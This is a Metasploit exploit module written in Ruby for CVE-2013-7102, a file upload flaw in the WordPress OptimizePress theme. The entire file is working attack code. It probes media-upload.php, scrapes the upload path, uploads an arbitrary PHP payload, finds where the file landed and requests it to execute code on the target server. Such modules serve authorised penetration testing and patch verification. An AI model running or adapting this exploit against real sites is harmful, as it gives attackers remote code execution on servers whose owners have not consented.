WordPress OptimizePress Theme File Upload Vulnerability

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'uri'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'WordPress OptimizePress Theme File Upload Vulnerability',
      'Description'     => %q{
        This module exploits a vulnerability found in the WordPress theme OptimizePress. The
        vulnerability is due to an insecure file upload on the media-upload.php component, allowing
        an attacker to upload arbitrary PHP code. This module has been tested successfully on
        OptimizePress 1.45.
      },
      'Author'          =>
        [
          'United of Muslim Cyber Army', # Vulnerability discovery
          'Mekanismen' # Metasploit module
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          [ 'CVE', '2013-7102' ],
          [ 'URL', "http://www.osirt.com/2013/11/wordpress-optimizepress-hack-file-upload-vulnerability/" ],
          [ 'WPVDB', '7441' ]
        ],
      'Privileged'      => false,
      'Platform'        => ['php'],
      'Arch'            => ARCH_PHP,
      'Targets'         => [ ['OptimizePress', {}] ],
      'DefaultTarget'   => 0,
      'DisclosureDate'  => '2013-11-29'
    ))

    register_advanced_options(
      [
        OptString.new('THEMEDIR', [ true, 'OptimizePress Theme directory', 'OptimizePress'])
      ])
  end

  def check
    uri = target_uri.path
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
    })

    if res and res.code == 200 and res.body.to_s =~ /Upload New Image/
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    uri = normalize_uri(target_uri.path)

    #get upload filepath
    print_status("Getting the upload path...")
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
    })

    unless res and res.code == 200
      fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
    end

    if res.body =~ /<input name="imgpath" type="hidden" id="imgpath" value="(.*)" \/>/
      file_path = $1
    else
      fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath")
    end

    #set cookie
    cookie = res.get_cookies

    filename = rand_text_alphanumeric(8) + ".php"

    #upload payload
    post_data = Rex::MIME::Message.new
    post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"newcsimg\"; filename=\"#{filename}\"")
    post_data.add_part("Upload File", nil, nil, "form-data; name=\"button\"")
    post_data.add_part("1", nil, nil, "form-data; name=\"newcsimg\"")
    post_data.add_part("#{file_path}", nil, nil, "form-data; name=\"imgpath\"")

    print_status("Uploading PHP payload...")

    n_data = post_data.to_s

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php'),
      'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
      'data' => n_data,
      'headers' => {
        'Referer' => "#{uri}/wp-content/themes/OptimizePress/lib/admin/media-upload.php"
      },
      'cookie' => cookie
    })

    unless res and res.code == 200
      fail_with(Failure::Unknown, "#{peer} - Unable to upload payload")
    end

    print_good("Payload uploaded successfully. Disclosing the payload path...")
    #get path to payload
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(uri, 'wp-content', 'themes', datastore['THEMEDIR'], 'lib', 'admin', 'media-upload.php')
    })

    unless res and res.code == 200
      fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
    end

    payload_url = ""

    if res.body =~ /name="cs_img" value="(.*#{filename}.*)" \/> <span/
      payload_url =$1
    else
      fail_with(Failure::Unknown, "#{peer} - Unable to deliver the payload")
    end

    begin
      u = URI(payload_url)
    rescue ::URI::InvalidURIError
      fail_with(Failure::Unknown, "#{peer} - Unable to deliver the payload, #{payload_url} isn't an URL'")
    end

    register_files_for_cleanup(File::basename(u.path))

    print_good("Our payload is at: #{u.path}! Executing payload...")
    send_request_cgi({
      'method' => 'GET',
      'uri' => u.path
    })
  end
end